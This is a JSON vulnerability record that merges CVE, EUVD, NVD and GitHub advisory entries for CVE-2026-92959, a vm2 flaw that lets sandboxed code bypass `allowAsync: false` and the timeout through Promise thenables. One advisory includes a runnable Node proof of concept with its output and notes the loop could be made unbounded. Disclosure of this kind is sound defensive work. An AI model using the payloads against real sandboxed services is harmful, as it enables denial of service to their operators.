{"id":"GHSA-9538-79j2-h62h","revision":null,"records":[{"revision":"2063f47d7fec46eba25534b2af8910e6","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92959","aliases":[],"title":"vm2 before 3.11.8 allowAsync Bypass via Promise Thenable","description":"vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.","state":0,"publishedAt":"2026-09-17T13:46:16.252+00:00","modifiedAt":"2026-09-21T20:41:28.71+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.11.8\"\n                        },\n                        {\n                            \"version\": \"3.11.8\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":7.1,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92959","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92959","identifiers":["CVE-2026-92959"]},"retained":false,"historicalAffected":[]},{"revision":"12442f562565431cb880bf7cb67f9e57","observedAt":"2026-11-09T16:10:22.916+00:00","statement":{"source":"euvd","id":"EUVD-2026-81608","aliases":["CVE-2026-92959","GHSA-9538-79j2-h62h","GHSA-f8gf-w286-fmq2"],"title":"vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, P…","description":"vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","score":7.1,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81608","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 1:46:16 PM","dateUpdated":"Sep 21, 2026, 8:41:28 PM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-3071","title":"vm2: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2026-92933","CVE-2026-92934","CVE-2026-92953","CVE-2026-92955","CVE-2026-92959","CVE-2026-92936"]},{"id":"RHSA-2026:72722","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-19534","CVE-2026-47683","CVE-2026-55553","CVE-2026-56859","CVE-2026-59869","CVE-2026-82417","CVE-2026-84375","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92000","CVE-2026-92942","CVE-2026-92958","CVE-2026-92959","CVE-2026-92961"]},{"id":"RHSA-2026:82151","title":"Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images","vulnerabilityIds":["CVE-2026-13697","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-54284","CVE-2026-55553","CVE-2026-59893","CVE-2026-71491","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84961","CVE-2026-88932","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:76788","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-77413","CVE-2026-77414","CVE-2026-77415","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:72712","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-5038","CVE-2026-19534","CVE-2026-47683","CVE-2026-55553","CVE-2026-59869","CVE-2026-59879","CVE-2026-82417","CVE-2026-84375","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92000","CVE-2026-92942","CVE-2026-92958","CVE-2026-92959","CVE-2026-92961"]},{"id":"RHSA-2026:91651","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.10 release.","vulnerabilityIds":["CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-84445","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-111943"]},{"id":"RHSA-2026:79088","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-14456","CVE-2026-18798","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-63072","CVE-2026-63076","CVE-2026-67213","CVE-2026-67214","CVE-2026-67422","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84445","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81608","identifiers":["EUVD-2026-81608","CVE-2026-92959","GHSA-9538-79j2-h62h","GHSA-f8gf-w286-fmq2"]},"retained":false,"historicalAffected":[]},{"revision":"4cb609d4f44a49edb9cf0ba928c1e8e8","observedAt":"2026-10-25T16:19:28.255+00:00","statement":{"source":"nvd","id":"CVE-2026-92959","aliases":[],"title":"vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, P…","description":"vm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.","state":0,"publishedAt":"2026-09-17T14:18:02.13+00:00","modifiedAt":"2026-09-21T21:17:16.917+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":7.1,"severity":"HIGH"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":7.1,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92959","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-693"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T14:18:02.130","lastModified":"2026-09-21T21:17:16.917"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92959","identifiers":["CVE-2026-92959"]},"retained":false,"historicalAffected":[]},{"revision":"6506c884f3e447659657fb0eefb1358d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9538-79j2-h62h","aliases":[],"title":"Duplicate Advisory: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00A0GHSA-f8gf-w286-fmq2. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.8 does not fully enforce the allowAsync: false option in VM and NodeVM. While localPromise.prototype.then is replaced with a handler that throws 'Async not available', the sandbox's Promise static methods (Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled) still assimilate attacker-supplied thenables: native promise resolution performs PromiseResolveThenableJob and invokes the sandboxed code's then method in a microtask without passing through the patched then, so the async restriction is never applied. As a result, sandboxed script can schedule work that runs after VM.run() or NodeVM.run() has returned and outside the configured timeout, continuing to execute after the host believes execution is complete.","state":2,"publishedAt":"2026-09-17T15:32:16+00:00","modifiedAt":"2026-10-05T23:00:05.31583+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"3.11.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://nvd.nist.gov/vuln/detail/CVE-2026-92959","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"],"sourceUrl":"https://github.com/advisories/GHSA-9538-79j2-h62h","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9538-79j2-h62h","identifiers":["GHSA-9538-79j2-h62h"]},"retained":false,"historicalAffected":[]},{"revision":"572dbc13047d41ae8fd67ab99cb3d2a0","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-f8gf-w286-fmq2","aliases":["CVE-2026-92959"],"title":"vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM","description":"### Summary\n\nWhen `allowAsync` is set to `false`, vm2 is expected to reject attempts to run asynchronous code. Direct use of `Promise.prototype.then` is blocked, but Promise static methods still assimilate attacker-controlled thenables. `Promise.resolve(thenable)`, `Promise.all([thenable])`, `Promise.race([thenable])`, `Promise.any([thenable])`, and `Promise.allSettled([thenable])` can invoke the thenable's `then` method in a microtask after `VM.run()` or `NodeVM.run()` has already returned.\n\nThis bypasses the documented async-execution restriction and runs outside the configured `timeout`, allowing sandboxed code to continue executing after the host believes execution is complete.\n\n### Details\n\nThe documented VM option says `allowAsync: false` should cause attempts to run async code to throw a `VMError`; README.md:139-145 also recommends using it with `timeout`. The implementation enforces part of this policy by replacing `localPromise.prototype.then` with an `AsyncErrorHandler` when async is disabled:\n\n- `lib/setup-sandbox.js:1629-1637` defines `AsyncErrorHandler`, whose `apply` and `construct` traps throw `VMError: Async not available`.\n- `lib/setup-sandbox.js:1743-1752` installs that handler on `localPromise.prototype.then` when `allowAsync` is false.\n\nHowever, Promise static methods are still exposed and rebound to `localPromise`:\n\n- `lib/setup-sandbox.js:1816-1819` wraps `Promise.all`.\n- `lib/setup-sandbox.js:1821-1824` wraps `Promise.race`.\n- `lib/setup-sandbox.js:1826-1830` wraps `Promise.allSettled`.\n- `lib/setup-sandbox.js:1833-1837` wraps `Promise.any`.\n- `lib/setup-sandbox.js:1840-1843` wraps `Promise.resolve`.\n\nThose wrappers prevent species attacks by forcing `localPromise` as the constructor, but they do not reject or neutralize thenables when `allowAsync` is false. Native Promise resolution then performs `PromiseResolveThenableJob` and calls the attacker-controlled `then` method asynchronously. That job does not go through the patched `localPromise.prototype.then` method, so the `AsyncErrorHandler` is never reached.\n\n`NodeVM` inherits the same sandbox Promise setup through `VM` (`lib/nodevm.js:328-332`), so the same thenable-assimilation bypass is reachable in `NodeVM` as well.\n\nThe transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of `catch`, `import`, `async`, `with`, the internal state identifier, or `\\u`, so `lib/transformer.js:82-89` returns without AST parsing.\n\n### PoC\n\nMaintainer-runnable clean-checkout recipe:\n\n```sh\nnpm install\nnode - <<'NODE'\nconst {VM, NodeVM} = require('./');\n\nasync function runVmCase(name, code) {\n  const events = [];\n  const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\nasync function runNodeVmCase(name, code) {\n  const events = [];\n  const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});\n  try {\n    const ret = vm.run(code);\n    console.log(`${name}: returned ${ret}`);\n  } catch (e) {\n    console.log(`${name}: threw ${e.name}:${e.message}`);\n  }\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);\n}\n\n(async () => {\n  await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);\n  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);\n  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);\n  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);\n  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);\n  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);\n\n  await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);\n  await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);\n\n  const timeoutEvents = [];\n  const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});\n  const started = Date.now();\n  const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);\n  const afterRun = Date.now();\n  await new Promise(resolve => setImmediate(resolve));\n  console.log(`timeout case returned: ${ret}`);\n  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);\n  console.log(`timeout case events: ${timeoutEvents.length}`);\n  console.log(`timeout case elapsedMs: ${Date.now() - started}`);\n})();\nNODE\n```\n\nExpected vulnerable output pattern:\n\n```text\nVM Promise.resolve thenable: returned 1\nVM Promise.resolve thenable events: resolve-thenable\nVM Promise.all thenable: returned 1\nVM Promise.all thenable events: all-thenable\nVM Promise.race thenable: returned 1\nVM Promise.race thenable events: race-thenable\nVM Promise.any thenable: returned 1\nVM Promise.any thenable events: any-thenable\nVM Promise.allSettled thenable: returned 1\nVM Promise.allSettled thenable events: allSettled-thenable\nVM direct then negative control: threw VMError:Async not available\nVM direct then negative control events: <none>\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then negative control: threw VMError:Async not available\nNodeVM direct then negative control events: <none>\ntimeout case returned: 1\ntimeout case runReturnedInMs: 0\ntimeout case events: 1\ntimeout case elapsedMs: 35\n```\n\nObserved local output from this environment, using temporary local `acorn`/`acorn-walk` stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:\n\n```json\n{\n  \"results\": [\n    [\"Promise.resolve thenable\", \"run-returned\", 1],\n    [\"Promise.resolve thenable events\", \"resolve-thenable\"],\n    [\"Promise.all thenable\", \"run-returned\", 1],\n    [\"Promise.all thenable events\", \"all-thenable\"],\n    [\"Promise.race thenable\", \"run-returned\", 1],\n    [\"Promise.race thenable events\", \"race-thenable\"],\n    [\"Promise.any thenable\", \"run-returned\", 1],\n    [\"Promise.any thenable events\", \"any-thenable\"],\n    [\"Promise.allSettled thenable\", \"run-returned\", 1],\n    [\"Promise.allSettled thenable events\", \"allSettled-thenable\"],\n    [\"direct then control\", \"threw\", \"VMError:Async not available\"],\n    [\"direct then control events\", \"<none>\"]\n  ],\n  \"timeoutCase\": {\n    \"ret\": 1,\n    \"runReturnedInMs\": 0,\n    \"events\": [1779866562491],\n    \"elapsedMs\": 35\n  }\n}\n```\n\nObserved `NodeVM` variant output:\n\n```text\nNodeVM Promise.resolve thenable: returned 1\nNodeVM Promise.resolve thenable events: nodevm-resolve-thenable\nNodeVM direct then control: threw VMError:Async not available\nNodeVM direct then control events: <none>\n```\n\n### Impact\n\nApplications commonly combine `timeout` with `allowAsync: false` so untrusted scripts run synchronously and cannot continue after `run()` returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have `VM.run()` return successfully, and execute attacker-controlled code afterward. Because the code runs after `VM.run()` has returned, the configured timeout no longer interrupts it.\n\nA malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.\n\nNegative/control evidence: direct `.then()` is rejected with `VMError: Async not available` and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.\n\n### Suggested remediation\n\nWhen `allowAsync` is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only `Promise.prototype.then`. At minimum, `Promise.resolve`, `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` should not invoke attacker-controlled thenables under `allowAsync: false`. Possible fixes include replacing these static methods with `AsyncErrorHandler`-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.\n\nAdd regression tests for `VM` and `NodeVM` that verify:\n\n- `Promise.resolve({ then(){} })` throws or does not call the thenable when `allowAsync: false`.\n- `Promise.all`, `Promise.race`, `Promise.any`, and `Promise.allSettled` do the same for thenable elements.\n- Direct `.then()` remains blocked.\n- A timeout-configured VM cannot execute code after `run()` returns via Promise thenable assimilation.\n\n## Variant analysis summary\n\nConfirmed variants:\n\n- `VM({allowAsync:false}).run('Promise.resolve(thenable)')`\n- `VM({allowAsync:false}).run('Promise.all([thenable])')`\n- `VM({allowAsync:false}).run('Promise.race([thenable])')`\n- `VM({allowAsync:false}).run('Promise.any([thenable])')`\n- `VM({allowAsync:false}).run('Promise.allSettled([thenable])')`\n- `NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')`\n\nNegative cases checked:\n\n- Direct `Promise.resolve(1).then(...)` throws `VMError: Async not available` in both `VM` and `NodeVM`.\n- NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)\n- Nguyen Huy Vu Dung from VinSOC Labs (AppSec)","state":0,"publishedAt":"2026-10-05T22:47:34+00:00","modifiedAt":"2026-10-05T23:00:04.2441283+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-f8gf-w286-fmq2","https://nvd.nist.gov/vuln/detail/CVE-2026-92959","https://github.com/patriksimek/vm2/commit/1d1aa437a5a39b00b3de0deb3e31f751d4884f5f","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.8","https://www.vulncheck.com/advisories/vm2-before-3.11.8-allowasync-bypass-via-promise-thenable"],"sourceUrl":"https://github.com/advisories/GHSA-f8gf-w286-fmq2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-f8gf-w286-fmq2","identifiers":["GHSA-f8gf-w286-fmq2","CVE-2026-92959"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T15:59:29.1371819+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T15:59:29.1371819+00:00","lastSuccessAt":"2026-11-11T15:59:29.3319702+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.3319715+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f7a27b6686d027a29d541c1a67c85e77c8818c1542bd9e626ca104d5a08b6cff","complete":true,"records":424160,"lastAttemptAt":"2026-11-11T15:57:33.081355+00:00","lastSuccessAt":"2026-11-11T15:57:32.9249839+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:57:33.081355+00:00","snapshotPublishedAt":"2026-11-11T15:27:38+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fbe6382b6d1e4810ad598ca4b39b1839","complete":false,"records":13759,"lastAttemptAt":"2026-11-11T16:11:34.900804+00:00","lastSuccessAt":"2026-11-11T16:11:34.895+00:00","error":"8 identifier lookups failed; latest failures include HTTP 403. Other identifiers were checked independently.","lastVerifiedAt":"2026-11-11T16:11:34.895+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13527,"expectedIdentifiers":13813,"failedIdentifiers":8},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T15:59:29.1371819+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T15:59:29.1371819+00:00","lastSuccessAt":"2026-11-11T15:59:29.3328867+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:29.332887+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-83d5ee721aa54b298ac0e478691d5c53","complete":true,"records":13753,"lastAttemptAt":"2026-11-11T15:59:30.4109764+00:00","lastSuccessAt":"2026-11-11T15:59:30.407+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:30.407+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T15:59:28.9781944+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:59:28.9781944+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T15:57:33.229994+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T15:57:33.229994+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 